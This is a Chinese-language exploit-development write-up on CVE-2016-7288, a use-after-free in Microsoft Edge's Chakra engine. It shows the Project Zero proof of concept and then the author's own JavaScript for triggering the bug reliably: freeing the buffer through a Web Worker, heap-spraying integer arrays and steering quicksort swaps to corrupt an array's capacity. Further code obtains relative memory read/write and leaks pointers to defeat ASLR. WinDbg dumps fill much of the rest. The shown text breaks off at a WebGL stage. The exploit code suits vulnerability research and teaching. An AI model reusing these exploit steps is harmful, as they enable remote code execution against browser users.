2017-05-08 09:59:12
阅读:366次
点赞(0)
收藏
作者:shan66
翻译:shan66
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
在这篇文章中,我们将为读者详细分析如何利用MS Edge浏览器中的UAF漏洞来远程执行代码。
本文将为读者深入分析影响MS Edge的CVE-2016-7288 UAF漏洞的根本原因,以及如何可靠地触发该UAF漏洞,如何用一种精确地方法来左右Quicksort从而控制交换操作并破坏内存,获得相对内存读/写原语,然后在WebGL的帮助下将其转换为绝对R / W原语,最后使用伪造的面向对象编程(COOP)技术来绕过控制流保护措施。
分析注解
本文是在windows 10 Anniversary Update x64上使用下列版本的MS Edge执行分析工作的。
存在安全漏洞的模块:chakra.dll 11.0.14393.0
简介
Google Project Zero已经公布了此漏洞的概念证明[3],据称这是一个影响javascript的TypedArray.sort方法的UAF漏洞。下面是公布在Project Zero的bug跟踪器中的原始PoC:
<html><body><script> varbuf=newArrayBuffer(0x10010); varnumbers=newUint8Array(buf); varfirst=0; functionv(){ alert("inv"); if(first==0){ postMessage("test","http://127.0.0.1",[buf]) first++; } return7; } functioncompareNumbers(a,b){ alert("infunc"); return{valueOf:v}; } try{ numbers.sort(compareNumbers); }catch(e){ alert(e.message); } </script></body></html>值得注意的是,在我的测试过程中,这个PoC根本没有触发这个漏洞。
该漏洞的根本原因
根据Mozilla关于TypedArray.sort方法的文档[4]的介绍,“sort()方法用于对类型化数组的元素进行排序,并返回类型化的数组”。这个方法有一个名为compareFunction的可选参数,该参数“指定定义排序顺序的函数”。 JavaScriptTypedArray.sort方法的对应的原生方法是chakra!TypedArrayBase::EntrySort,它是在lib/Runtime/Library/TypedArray.cpp中定义的。 VarTypedArrayBase::EntrySort(RecyclableObject*function,CallInfocallInfo,...){ [...] //GettheelementscomparisonfunctionforthetypeofthisTypedArray void*elementCompare=reinterpret_cast<void*>(typedArrayBase->GetCompareElementsFunction()); //Castcomparetothecorrectfunctiontype int(__cdecl*elementCompareFunc)(void*,constvoid*,constvoid*)=(int(__cdecl*)(void*,constvoid*,constvoid*))elementCompare; void*contextToPass[]={typedArrayBase,compareFn}; //Wecanalwayscallqsort_swiththesamearguments.IfusercompareFnisnon-null,thecallbackwilluseittodothecomparison. qsort_s(typedArrayBase->GetByteBuffer(),length,typedArrayBase->GetBytesPerElement(),elementCompareFunc,contextToPass); 我们可以看到,它调用GetCompareElementsFunction方法来获取元素比较函数,并且在进行类型转换后,所述函数将传递给qsort_s()[5]作为其第四个参数。根据其文档: qsort_s函数实现了一个快速排序算法来排序数组元素[...]。qsort_s会使用排序后的元素来覆盖这个数组。参数compare是指向用户提供的例程的指针,它比较两个数组元素并返回一个表明它们的关系的值。qsort_s在排序期间会调用一次或多次比较例程,每次调用时都会将指针传递给两个数组的元素。这里描述的qsort_s所有细节,对我们的任务都是非常重要的,这一点将在后文章体现出来。
GetCompareElementsFunction方法是在lib/Runtime/Library/TypedArray.h中定义的,它只是返回TypedArrayCompareElementsHelper函数的地址: CompareElementsFunctionGetCompareElementsFunction() { return&TypedArrayCompareElementsHelper<TypeName>; } 本机比较函数TypedArrayCompareElementsHelper是在TypedArray.cpp中定义的,其代码如下所示: template<typenameT>int__cdeclTypedArrayCompareElementsHelper(void*context,constvoid*elem1,constvoid*elem2) { [...] VarretVal=CALL_FUNCTION(compFn,CallInfo(CallFlags_Value,3), undefined, JavascriptNumber::ToVarWithCheck((double)x,scriptContext), JavascriptNumber::ToVarWithCheck((double)y,scriptContext)); Assert(TypedArrayBase::Is(contextArray[0])); if(TypedArrayBase::IsDetachedTypedArray(contextArray[0])) { JavascriptError::ThrowTypeError(scriptContext,JSERR_DetachedTypedArray,_u("[TypedArray].prototype.sort")); } if(TaggedInt::Is(retVal)) { returnTaggedInt::ToInt32(retVal); } if(JavascriptNumber::Is_NoTaggedIntCheck(retVal)) { dblResult=JavascriptNumber::GetValue(retVal); } else { dblResult=JavascriptConversion::ToNumber_Full(retVal,scriptContext); }CALL_FUNCTION宏将调用我们的JS比较函数。请注意,在调用我们的JS函数后,代码会检查用户控制的JS代码是否已经分离了类型化的数组。但是,如Natalie Silvanovich所解释的那样,“函数的返回值被转换为一个可以调用valueOf的整数,如果这个函数分离了TypedArray,那么在释放缓冲区之后就会执行一个交换。在从TypedArrayCompareElementsHelper返回后,释放缓冲区中的元素交换操作发生在msvcrt!qsort_s中。
这个漏洞的修复程序只是在上面显示的代码之后对类型化数组的可能分离状态进行了额外的检查:
//ToNumbermayexecuteuser-codewhichcancausethearraytobecomedetached if(TypedArrayBase::IsDetachedTypedArray(contextArray[0])) { JavascriptError::ThrowTypeError(scriptContext,JSERR_DetachedTypedArray,_u("[TypedArray].prototype.sort")); }Project Zero的概念证明
Project Zero提供的PoC看起来很简单:它创建了一个由ArrayBuffer对象支持的类型化数组(更具体地说是一个Uint8Array),它在类型化数组上调用sort方法,作为参数传递一个名为compareNumbers的JS函数。这个比较函数返回实现自定义valueOf方法的新对象:
functioncompareNumbers(a,b){ alert("infunc"); return{valueOf:v}; }v是一个函数,它通过调用postMessage方法来将ArrayBuffer分解为类型化的数组对象。在尝试把比较函数的返回值转换为整数过程中,会在从TypedArrayCompareElementsHelper调用JavascriptConversion :: ToNumber_Full()时调用它。
functionv(){ alert("inv"); if(first==0){ postMessage("test","http://127.0.0.1",[buf]) first++; } return7; }这应该足以触发这个漏洞了。然而,在多次运行PoC之后,我很惊讶地发现,它并没有在存在该漏洞的机器上面造成任何崩溃。
以可靠的方式触发漏洞
过去,我编写过影响Internet Explorer类似UAF漏洞的利用代码,这也涉及到将ArrayBuffer分解为类型化数组对象。根据我对IE的经验,当通过postMessage对ArrayBuffer进行排序时,会立即释放ArrayBuffer的原始内存,因此UAF漏洞的迹象是显而易见的。
在调试Edge内容进程一段时间之后,我意识到ArrayBuffer对象的原始内存没有被立即释放,而是在几秒之后,类似于“延迟释放”的方式。这导致该漏洞难以显示,因为qsort_s中的元素交换操作未触发未映射的内存。
通过查看Chakra JS引擎的源代码,可以看到使用ArrayBuffer时,在lib / Runtime / Library / ArrayBuffer.cpp中的JavascriptArrayBuffer :: CreateDetachedState方法中创建了一个Js :: ArrayBuffer :: ArrayBufferDetachedState对象。在“阉割”ArrayBuffer之后会立即出现这种情况。
ArrayBufferDetachedStateBase*JavascriptArrayBuffer::CreateDetachedState(BYTE*buffer,uint32bufferLength) { #if_WIN64 if(IsValidVirtualBufferLength(bufferLength)) { returnHeapNew(ArrayBufferDetachedState<FreeFn>,buffer,bufferLength,FreeMemAlloc,ArrayBufferAllocationType::MemAlloc); } else { returnHeapNew(ArrayBufferDetachedState<FreeFn>,buffer,bufferLength,free,ArrayBufferAllocationType::Heap); } #else returnHeapNew(ArrayBufferDetachedState<FreeFn>,buffer,bufferLength,free,ArrayBufferAllocationType::Heap); #endif }ArrayBufferDetachedState对象表示一个中间状态,其中一个ArrayBuffer对象已经被分离,不能再被使用,但是其原始内存尚未被释放。这里非常有趣的是ArrayBufferDetachedState对象含有一个指向用于释放分离的ArrayBuffer的原始内存的函数的指针。如上所示,如果IsValidVirtualBufferLength()返回true,则使用Js :: JavascriptArrayBuffer :: FreeMemAlloc(它只是VirtualFree的包装器); 否则使用free。
ArrayBuffer的原始内存的实际释放会发生在以下调用堆栈中。Project Zero提供的PoC并不会立即执行这个动作,而是在所有的JS代码运行完毕后才会被触发这个操作。
Js::TransferablesHolder::Release | v Js::DetachedStateBase::CleanUp | v Js::ArrayBuffer::ArrayBufferDetachedState<void(void*)>::DiscardState(void) | v free(),orJs::JavascriptArrayBuffer::FreeMemAlloc(thislastoneisjustawrapperforVirtualFree)所以,我需要找到一种方式,使分离的ArrayBuffer的原始内存可以立即释放,然后返回到qsort_s。我决定尝试使用Web Worker,我曾经在Internet Explorer的利用代码中使用了类似的漏洞,同时等待几秒钟,以便为释放原始缓冲区提供一些时间。
functionv(){ [...] the_worker=newWorker('the_worker.js'); the_worker.onmessage=function(evt){ console.log("worker.onmessage:"+evt.toString()); } //NeutertheArrayBuffer the_worker.postMessage(ab,[ab]); //Forcetheunderlyingrawbuffertobefreedbeforereturning! the_worker.terminate(); the_worker=null; /*Givesometimefortherawbuffertobeeffectivelyfreed*/ varstart=Date.now(); while(Date.now()-start<2000){ } [...]我试验了这个想法,为microsoftedgecp.exe启用了全页堆验证,结果立即发生了崩溃。正如你所看到的,当交换操作尝试在释放的缓冲区上运行时,在qsort_s内部发生了崩溃:
(b0.adc):Accessviolation-codec0000005(!!!secondchance!!!) msvcrt!qsort_s+0x3f0: 00007ff8`139000e00fb608movzxecx,byteptr[rax]ds:00000282`b790aff4=?? 0:010>r rax=00000282b790aff4rbx=000000ff4f1fbeb0rcx=000000ff4f1fbf68 rdx=00007ffff8aa4dbbrsi=0000000000000002rdi=000000ff4f1fb9c0 rip=00007ff8139000e0rsp=000000ff4f1fc0f0rbp=0000000000000004 r8=0000000000000004r9=00010000ffffffffr10=00000282b30c5170 r11=000000ff4f1fb758r12=00007ffff8ccaed0r13=00000282b790aff4 r14=00000282b790aff0r15=000000ff4f1fc608 iopl=0nvupeingnzacpocy cs=0033ss=002bds=002bes=002bfs=0053gs=002befl=00010295 !heap-p-a@rax命令表明缓冲区已经从Js::ArrayBuffer::ArrayBufferDetachedState::DiscardState中释放: 0:010>!heap-p-a@rax ReadMemoryerrorforaddress0000027aa4a4ffe8 Use`!address0000027aa4a4ffe8'tocheckvalidityoftheaddress. ReadMemoryerrorforaddress0000027aa4dbffe8 Use`!address0000027aa4dbffe8'tocheckvalidityoftheaddress. address00000282b790aff4foundin _DPH_HEAP_ROOT@27aa4dd1000 infree-edallocation(DPH_HEAP_BLOCK:VirtAddrVirtSize) 27aa4e2cc98:282b790a0002000 00007ff81413ed6bntdll!RtlDebugFreeHeap+0x000000000003c49b 00007ff81412cfb3ntdll!RtlpFreeHeap+0x000000000007f0d3 00007ff8140ac214ntdll!RtlFreeHeap+0x0000000000000104 00007ff8138e9dacmsvcrt!free+0x000000000000001c 00007ffff8cc91b2chakra!Js::ArrayBuffer::ArrayBufferDetachedState<void__cdecl(void*__ptr64)>::DiscardState+0x0000000000000022 00007ffff8b23701chakra!Js::DetachedStateBase::CleanUp+0x0000000000000025 00007ffff8b27285chakra!Js::TransferablesHolder::Release+0x0000000000000045 00007ffff9012d86edgehtml!CStrongReferenceTraits::Release<Windows::Foundation::IAsyncOperation<unsignedint>>+0x0000000000000016 [...]回收释放的内存
到目前为止,我们已经满足了一个典型的UAF条件;现在,在完成释放操作之后,我们要回收释放的内存,并在此之前放置一些有用的对象,然后通过qsort_s访问释放的缓冲区以进行交换操作。
在寻找对象来填补内存空隙时,我注意到一些非常有趣的东西。保存ArrayBuffer元素的原始缓冲区(即释放后被访问的原始缓冲区)是在ArrayBuffer构造函数[lib / Runtime / Library / ArrayBuffer.cpp]中分配的: ArrayBuffer::ArrayBuffer(uint32length,DynamicType*type,Allocatorallocator): ArrayBufferBase(type),mIsAsmJsBuffer(false),isBufferCleared(false),isDetached(false) { buffer=nullptr; [...] buffer=(BYTE*)allocator(length); [...]请注意,构造函数的第三个参数是一个函数指针(Allocator类型),通过调用它来分配原始缓冲区。如果我们搜索调用这个构造函数的代码,我们会发现,它是通过下列方式从JavascriptArrayBuffer构造函数中进行调用的:
JavascriptArrayBuffer::JavascriptArrayBuffer(uint32length,DynamicType*type): ArrayBuffer(length,type,(IsValidVirtualBufferLength(length))?AllocWrapper:malloc) { }因此,JavascriptArrayBuffer构造函数可以使用两个不同的分配器调用ArrayBuffer构造函数:AllocWrapper(它是VirtualAlloc的包装器)或malloc。选择哪一个具体取决于IsValidVirtualBufferLength方法返回的布尔结果(并且该bool值是由要实例化的ArrayBuffer的长度确定的,所以我们具有完全控制权)。
这意味着,与许多其他UAF场景不同,我们可以选择在哪个堆中分配目标缓冲区:由VirtualAlloc / VirtualFree管理的全页,或者在使用malloc作为分配器的情况下的CRT堆。
根据Moretz Jodeit去年发表的研究[6],在Internet Explorer 11上,当从JavaScript分配大量数组时,jCript9!LargeHeapBlock对象被分配在CRT堆上,它们构成了内存破坏的一个很好的靶子。但是,在MS Edge上情况并非如此,因为LargeHeapBlock对象现在通过HeapAlloc()分配给另一个堆。在Edge中通过malloc分配的CRT堆中很难找到其他有用的对象,所以我决定寻找由VirtualAlloc分配的有用对象。数组
因此,如上所述,为了使ArrayBuffer构造函数通过VirtualAlloc分配其原始缓冲区,我们需要让IsValidVirtualBufferLength方法返回true。我们来看看它的相关代码[lib / Runtime / Library / ArrayBuffer.cpp]: boolJavascriptArrayBuffer::IsValidVirtualBufferLength(uintlength) { #if_WIN64 /* 1.length>=2^16 2.lengthispowerof2or(length>2^24andlengthismultipleof2^24) 3.lengthisamultipleof4K */ return(!PHASE_OFF1(Js::TypedArrayVirtualPhase)&& (length>=0x10000)&& (((length&(~length+1))==length)|| (length>=0x1000000&& ((length&0xFFFFFF)==0) ) )&& ((length%AutoSystemInfo::PageSize)==0) ); #else returnfalse; #endif }这意味着,我们可以通过指定例如0x10000作为我们正在创建的ArrayBuffer的长度来使其返回true。这样,将在释放之后使用的缓冲区就会通过VirtualAlloc进行分配。
考虑到重新分配操作,我注意到,当从JavaScript代码分配大整数数组时,数组也是通过VirtualAlloc分配的。为此,我在WinDbg中使用了如下所示这样的记录断点:
>bpkernelbase!VirtualAlloc"k5;r@$t3=@rdx;gu;r@$t4=@rax;.printf\"Allocated0x%xbytes@address%p\\n\",@$t3,@$t4;gu;dqs@$t4l4;gc"输出结果如下所示:
#Child-SPRetAddrCallSite 00000000d0`f51fb3f800007ffc`3a932f11KERNELBASE!VirtualAlloc 01000000d0`f51fb40000007ffc`255fa5f5EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAlloc+0x51 02000000d0`f51fb45000007ffc`255fdc4bchakra!Memory::VirtualAllocWrapper::Alloc+0x55 03000000d0`f51fb4b000007ffc`2565bc38chakra!Memory::SegmentBase<Memory::VirtualAllocWrapper>::Initialize+0xab 04000000d0`f51fb51000007ffc`255fc8e2chakra!Memory::PageAllocatorBase<Memory::VirtualAllocWrapper>::AllocPageSegment+0x9c Allocated0x10000bytes@address000002d0909a0000 000002d0`909a000000000000`00000000 000002d0`909a000800000000`00000000 000002d0`909a001000000000`00000000 000002d0`909a001800000000`00000000检查内存的内容后会显示一个数组的结构:
0:025>dds000002d0909a0000 000002d0`909a000000000000 000002d0`909a000400000000 000002d0`909a00080000ffe0 000002d0`909a000c00000000 000002d0`909a001000000000 000002d0`909a001400000000 000002d0`909a00180000ce7c 000002d0`909a001c00000000 000002d0`909a002000000000//<---Js::SparseArraySegmentobjectstartshere 000002d0`909a002400003ff2//arraylength 000002d0`909a002800003ff2//arrayreservedcapacity 000002d0`909a002c00000000 000002d0`909a003000000000 000002d0`909a003400000000 000002d0`909a003841414141//arrayelements 000002d0`909a003c41414141 000002d0`909a004041414141在该内存转储的偏移量0x20处,我们有一个Js :: SparseArraySegment类的实例,它会被JavascriptNativeIntArray对象的head成员引用:
0000029c`73ea82c000007ffc`259b38d8chakra!Js::JavascriptNativeIntArray::`vftable' 0000029c`73ea82c80000029b`725590c0//Pointertotypeinformation 0000029c`73ea82d000000000`00000000 0000029c`73ea82d800000000`00010005 0000029c`73ea82e000000000`00003ff2//arraylength 0000029c`73ea82e8000002d0`909a0020//<---'head'member,pointstoJs::SparseArraySegmentobject在Js :: SparseArraySegment对象的偏移量0x8处,我们可以看到整数数组的备用容量,数组的元素从偏移量0x18开始。由于UAF漏洞允许我们在qsort_s决定交换两个元素的顺序时交换两个双字,我们将尝试利用这一点,通过(由我们完全控制)的数组元素来替换备用容量。如果我们设法做到了这一点,我们就能够读写数组以外的内存。
顺便说一句,我的reclaim函数(在分离ArrayBuffer之后,在从v()返回之前调用)函数看起来就像是这样的。注意,我从0x10000减去0x38(数组元素从缓冲区开始的偏移量),然后将其除以4(每个元素的大小),因此分配大小正好是0x10000。该喷射操作具有附加的特性,即所分配的块彼此相邻,之间没有间隙,这对我们后面的工作非常有用。
functionreclaim(){ varNUMBER_ARRAYS=20000; arr=newArray(NUMBER_ARRAYS); for(vari=0;i<NUMBER_ARRAYS;i++){ /*Allocateanarrayofintegers*/ arr[i]=newArray((0x10000-0x38)/4); for(varj=0;j<arr[i].length;j++){ arr[i][j]=0x41414141; } } } 有趣的是,如果由于某种原因,你尝试一下大于0x10000的喷射块,同时仍然进行IsValidVirtualBufferLength检查的话,那么很快就会注意到,在具有很多重复元素的数组上运行quicksort算法时到底有多慢[7] :)所以最好坚持使用0x10000,这是IsValidVirtualBufferLength返回true的最小长度,除非你希望你的漏洞要运行许多分钟。影响Quicksort并控制交换操作
现在,您可能想要了解quicksort算法的工作原理[8],并查看其具体实现[9]。请注意,为了使qsort_s根据我们的需要进行精确的元素交换(用offset> = 0x38的数组元素替换缓冲区中偏移量为0x28处的整数数组备用容量),我们必须仔细地构造:存储在ArrayBuffer中将要进行排序的值
这些值在ArrayBuffer中的位置
我们的JS比较函数返回的值(-1,0,1)[10]做了一些测试后,我找到了下面的ArrayBuffer设置,这将触发我需要的精确交换操作:
varab=newArrayBuffer(0x10000); varia=newInt32Array(ab); [...] ia[0x0a]=0x9;//Arraycapacity,getsswapped(offset0x28ofthebuffer) ia[0x13]=0x55555555;//getsswapped(offset0x4Cofthebuffer,elementatindex5oftheintarray) ia[0x20]=0x66666666;使用这种设置,当比较的元素是我要交换的两个值时,我的比较函数将触发UAF漏洞:
[...] if((this.a==0x9)&&(this.b==0x55555555)){ //Let'sdetachthe'ab'ArrayBuffer the_worker=newWorker('the_worker.js'); the_worker.onmessage=function(evt){ console.log("worker.onmessage:"+evt.toString()); } the_worker.postMessage(ab,[ab]); //Forcetheunderlyingrawbuffertobefreedbeforereturning! the_worker.terminate(); the_worker=null; //Givesometimefortherawbuffertobeeffectivelyfreed varstart=Date.now(); while(Date.now()-start<2000){ } //Refillthememoryholewithausefulobject(anintarray) reclaim(); //Returning1meansthat9>0x55555555,sotheirpositionsmustbeswapped return1; } [...]我们可以通过在JavascriptArrayBuffer :: FreeMemAlloc中设置断点来检查它是否按照我们预期的方式进行,其中VirtualFree即将被调用以释放ArrayBuffer的原始缓冲区:
0:023>bpchakra!Js::JavascriptArrayBuffer::FreeMemAlloc+0x1a"r@$t0=@rcx" 0:023>g chakra!Js::JavascriptArrayBuffer::FreeMemAlloc+0x1a: 00007fff`f8cc975a48ff253f8d1100jmpqwordptr[chakra!_imp_VirtualFree(00007fff`f8de24a0)]ds:00007fff`f8de24a0={KERNELBASE!VirtualFree(00007ff8`11433e50)}
执行在断点处停止,所以现在我们可以检查ArrayBuffer的内容,该内容在排序后即将被释放:
0:024>dds@rcxl21 00000235`4807000000000000 00000235`4807000400000000 00000235`4807000800000000 00000235`4807000c00000000 00000235`4807001000000000 00000235`4807001400000000 00000235`4807001800000000 00000235`4807001c00000000 00000235`4807002000000000 00000235`4807002400000000 00000235`4807002800000009//thedwordatthispositionwillbeswapped... 00000235`4807002c00000000 00000235`4807003000000000 00000235`4807003400000000 00000235`4807003800000000 00000235`4807003c00000000 00000235`4807004000000000 00000235`4807004400000000 00000235`4807004800000000 00000235`4807004c55555555//...withthedwordatthisposition 00000235`4807005000000000 00000235`4807005400000000 00000235`4807005800000000 00000235`4807005c00000000 00000235`4807006000000000 00000235`4807006400000000 00000235`4807006800000000 00000235`4807006c00000000 00000235`4807007000000000 00000235`4807007400000000 00000235`4807007800000000 00000235`4807007c00000000 00000235`4807008066666666您可以看到偏移0x28处的值为0x9,偏移0x4c处的值为0x55555555。值0x66666666也可以在偏移0x80处看到;它是影响quicksort算法的地方,并获得我们需要的精确互换。
现在我们可以在qsort_s函数上设置几个断点,将其设置在紧跟它所调用的TypedArrayCompareElementsHelper本机比较函数(最终调用我们的JS比较函数)的指令之后:
0:010>bpmsvcrt!qsort_s+0x3c2 0:010>bpmsvcrt!qsort_s+0x194
现在我们恢复执行,几秒钟后,断点就被击中。如果一切顺利的话,ArrayBuffer应该被释放,并且其中一个喷射的整数数组的内存被回收:
0:024>g Breakpoint2hit msvcrt!qsort_s+0x194: 00007ff8`138ffe8485c0testeax,eax 0:010>dds00000235`48070000 00000235`4807000000000000 00000235`4807000400000000 00000235`480700080000ffe0 00000235`4807000c00000000 00000235`4807001000000000 00000235`4807001400000000 00000235`4807001800009e75 00000235`4807001c00000000 00000235`4807002000000000//Js::SparseArraySegmentobjectstartshere 00000235`4807002400003ff2 00000235`4807002800003ff2//reservedcapacityoftheintegerarray;itoccupiesthepositionofthe0x9valuethatwillbeswapped 00000235`4807002c00000000 00000235`4807003000000000 00000235`4807003400000000 00000235`4807003841414141//elementsoftheintegerarraystarthere 00000235`4807003c41414141 00000235`4807004041414141 00000235`4807004441414141 00000235`4807004841414141 00000235`4807004c7fffffff//thisoneoccupiesthepositionofthe0x55555555valuewhichisgoingtobeswapped 00000235`4807005041414141 00000235`4807005441414141太棒了!我们的一个喷射的整数数组现在占据了以前由ArrayBuffer对象的原始缓冲区占据的内存。qsort_s的交换代码现在将以偏移量0x28(以前的UAF:值0x9,现在值为int数组的容量)处的dword与偏移量0x4c处的dword(之前的UAF:数组元素,值为0x55555555,现在:值为0x7fffffff的数组元素)进行交换 。
交换发生在下面的循环中:
qsort_s+1B0loc_11012FEA0: qsort_s+1B0movzxeax,byteptr[rdx];grababytefromthedword@offset0x4c qsort_s+1B3movzxecx,byteptr[r9+rdx];grababytefromthedword@offset0x28 qsort_s+1B8mov[r9+rdx],al;swap qsort_s+1BCmov[rdx],cl;swap qsort_s+1BEleardx,[rdx+1];proceedwiththenextbyteofthedwords qsort_s+1C2subr8,1 qsort_s+1C6jnzshortloc_11012FEA0;loop成功交换后,int数组看起来像下面这样,这表明我们已经用非常大的值(0x7fffffff)覆盖了原来的容量:
0:010>dds00000235`48070000 00000235`4807000000000000 00000235`4807000400000000 00000235`480700080000ffe0 00000235`4807000c00000000 00000235`4807001000000000 00000235`4807001400000000 00000235`4807001800009e75 00000235`4807001c00000000 00000235`4807002000000000//Js::SparseArraySegmentobjectstartshere 00000235`4807002400003ff2 00000235`480700287fffffff//<---we'veoverwrittenthearraycapacitywithabigvalue! 00000235`4807002c00000000 00000235`4807003000000000 00000235`4807003400000000 00000235`4807003841414141 00000235`4807003c41414141 00000235`4807004041414141 00000235`4807004441414141 00000235`4807004841414141 00000235`4807004c00003ff2//theoldarraycapacityhasbeenwrittenhere 00000235`4807005041414141 00000235`4807005441414141获得相对内存读/写原语
由于我们已经用0x7fffffff覆盖了数组的原始容量,现在我们可以利用这个被破坏的int数组来读写其边界之外的内存。
但是,我们的R / W原语有一些限制:
由于数组容量为32位整数,我们将无法解析Edge进程的完整的64位地址空间;相反,我们最多能够寻址4 Gb的内存,起始地址从该int数组的基地址开始。
此外,当目标地址被作为64位指针时,可以控制32位索引,我们只能访问大于我们破坏的int数组的基址的内存地址;不能访问较低的地址。
最后,这是一个相对的内存R / W原语。我们不能指定要读写的绝对地址;而是需要从我们的破坏的int数组的基地址指定一个偏移量。
寻找被破坏的整数数组
找到将为我们提供R / W原语的受损整数数组真的很容易。我们只需要遍历所有的喷射的int数组,寻找索引为5且值不是0x41414141的元素(请记住,在交换操作期间,原始数组容量将写入索引为5的元素所在的位置)即可。
functionfind_corrupted_index(){ for(vari=0;i<arr.length;i++){ if(arr[i][5]!=0x41414141){ returni; } } return-1; }一旦我们找到了损坏的整数数组,我们就可以进行越界读写操作。在下面的代码片段中,我们使用受损数组读取其后面的内存中的值(这个数组应该是另一个int数组——别忘了,我们已经喷了数千个int数组,每个数组都正好占据了0x10000字节,而且它们是相邻并对齐到0x10000)。注意我们如何使用像0x4000这样的任意索引取得成功的,而真正的int数组容量是索引为0x3ff2的元素:
varcorrupted_index=find_corrupted_index(); if(corrupted_index!=-1){ arr[corrupted_index][0x4000]=0x21212121;//OOBwrite alert("OOBread:0x"+arr[corrupted_index][0x3ff8].toString(16));//OOBread }此外,您应该始终记住,从任意索引N读取OOB需要先写入索引> = N。
泄漏指针
现在,我们已经取得了一个R / W原语,下面我们就要开始泄露几个指针,以便可以推断一些模块的地址并绕过ASLR。下面,我们通过在JS函数reclaim中将喷射的整数数组与一些字符串对象的数组交插来实现这一点:
functionreclaim(){ varNUMBER_ARRAYS=10000; arr=newArray(NUMBER_ARRAYS); varthe_string="MS16-145"; for(vari=0;i<NUMBER_ARRAYS;i++){ if((i%10)==9){ the_element=the_string; /*Allocateanarrayofstrings*/ arr[i]=newArray((0x10000-0x38)/8);//sizeof(ptr)==8 } else{ the_element=0x41414141; /*Allocateanarrayofintegers*/ arr[i]=newArray((0x10000-0x38)/4);//sizeof(int)==4 } for(varj=0;j<arr[i].length;j++){ arr[i][j]=the_element; } } }这样,在破坏其中一个数组的备用容量后,我们可以在数组边界之外每次读取0x10000字节,遍历相邻的数组,寻找最近的字符串对象数组:
//Traversetheadjacentarrays,lookingfortheclosestarrayofstringobjects for(vari=0;i<(arr.length-corrupted_index);i++){ base_index=0x4000*i;//Indextomakeitpointtothefirstelementofanotherarray //Remember,youneedtowriteatleasttooffsetNifyouwanttoreadfromoffsetN arr[corrupted_index][base_index+0x20]=0x21212121; //Ifit'sanarrayofobjects(asopposedtoarrayofintsfilledwith0x41414141) if(arr[corrupted_index][base_index]!=0x41414141){ alert("foundpointer:0x"+ud(arr[corrupted_index][base_index+1]).toString(16)+ud(arr[corrupted_index][base_index]).toString(16)); break; } }这里的ud()函数只是一个小帮手,能够以无符号双字的形式读取值:
//Readasunsigneddword functionud(sd){ return(sd<0)?sd+0x100000000:sd; }从相对R / W到(几乎)绝对R / W与WebGL
在完全任意的R / W原语的理想场景下,在将指针泄漏到某个对象之后,我们只需要在泄漏的地址上读取第一个qword,获得指向其vtable的指针,就能够计算模块的基址。但在这种情况下,我们有一个相对的R / W原语。由于R / W原语是通过在数组中使用索引来实现的,所以目标地址是这样计算的:target_addr = array_base_addr + index * sizeof(int)。我们完全控制了索引,但问题是我们不知道我们自己的数组基址是多少。
那么数组基地址在哪里呢?它存储在一个JavascriptNativeIntArray对象的偏移量0x28处,它具有以下结构:
0000029c`73ea82c000007ffc`259b38d8chakra!Js::JavascriptNativeIntArray::`vftable' 0000029c`73ea82c80000029b`725590c0//Pointertotypeinformation 0000029c`73ea82d000000000`00000000 0000029c`73ea82d800000000`00010005 0000029c`73ea82e000000000`00003ff2//arraylength 0000029c`73ea82e8000002d0`909a0020//<---'head'member,pointstoJs::SparseArraySegmentobject对于如何克服这个问题(不知道我自己破坏的数组的基址)有点难度,我决定使用VirtualAlloc分配缓冲区的技术,如asm.js和WebGL,寻找有用的漏洞利用素材。我决定记录通过移植到JS的3D游戏引擎加载网页时VirtualAlloc进行的分配情况,我看到一些WebGL缓冲区包含自引用,也就是指向缓冲区本身的指针。
所以,我的下一步就变得更加清晰了:我想释放一些喷射的数组,创建内存空隙,并尝试用WebGL缓冲区填充这些内存空隙,希望包含自引用指针。如果发生这种情况,可以使用我们有限的R / W原语来读取其中一个WebGL自引用指针,从而暴露我们(现在由WebGL释放并被WebGL占用)喷射的int数组的地址。
具有自引用的WebGL缓冲区如下所示:在本示例中,在缓冲区+ 0x20处有一个指向缓冲区+ 0x159的指针:
0:013>dqs00000268`abdc0000 00000268`abdc000000000000`00000000 00000268`abdc000800000000`00000000 00000268`abdc001000000073`8bfdb3e0 00000268`abdc001800000000`000000d8 00000268`abdc002000000268`abdc0159//referencetobuffer+0x159 00000268`abdc002800000000`00000000 00000268`abdc003000000000`00000000 00000268`abdc003800000000`00000000 00000268`abdc004000000000`00000000 00000268`abdc004800000000`00000000 00000268`abdc005000000001`ffffffff 00000268`abdc005800000001`00000000 00000268`abdc006000000000`00000000 00000268`abdc006800000000`00000000 00000268`abdc007000000000`00000000 00000268`abdc007800000000`00000000虽然释放一些int数组为WebGL缓冲区腾出了空间,但我注意到它们并没有被立即释放,而是在线程空闲时调用VirtualFree,就像以下调用栈所建议的(注意所涉及到的方法名称,如Memory :: IdleDecommitPageAllocator :: IdleDecommit,ThreadServiceWrapperBase :: IdleCollect等)那样。这可以通过setTimeout让函数几秒钟后执行来克服。
>bpkernelbase!VirtualFree"k10;gc" #Child-SPRetAddrCallSite 000000003b`db4fce5800007ffd`f763d307KERNELBASE!VirtualFree 010000003b`db4fce6000007ffd`f76398f8chakra!Memory::PageAllocatorBase<Memory::VirtualAllocWrapper>::ReleasePages+0x247 020000003b`db4fcec000007ffd`f76392c4chakra!Memory::LargeHeapBlock::ReleasePages+0x54 030000003b`db4fcf4000007ffd`f7639b54chakra!PageStack<Memory::MarkContext::MarkCandidate>::CreateChunk+0x1c4 040000003b`db4fcfa000007ffd`f7639c62chakra!Memory::LargeHeapBucket::SweepLargeHeapBlockList+0x68 050000003b`db4fd01000007ffd`f764253fchakra!Memory::LargeHeapBucket::Sweep+0x6e 060000003b`db4fd05000007ffd`f76426fcchakra!Memory::Recycler::SweepHeap+0xaf 070000003b`db4fd0a000007ffd`f7641263chakra!Memory::Recycler::Sweep+0x50 080000003b`db4fd0e000007ffd`f7687f50chakra!Memory::Recycler::FinishConcurrentCollect+0x313 090000003b`db4fd18000007ffd`f76415b1chakra!ThreadContext::ExecuteRecyclerCollectionFunction+0xa0 0a0000003b`db4fd23000007ffd`f76b82c8chakra!Memory::Recycler::FinishConcurrentCollectWrapped+0x75 0b0000003b`db4fd2b000007ffd`f8105babchakra!ThreadServiceWrapperBase::IdleCollect+0x70 0c0000003b`db4fd2f000007ffe`110b1c24edgehtml!CTimerCallbackProvider::s_TimerProviderTimerWndProc+0x5b 0d0000003b`db4fd32000007ffe`110b156cuser32!UserCallWinProcCheckWow+0x274 0e0000003b`db4fd48000007ffd`f5c7c781user32!DispatchMessageWorker+0x1ac 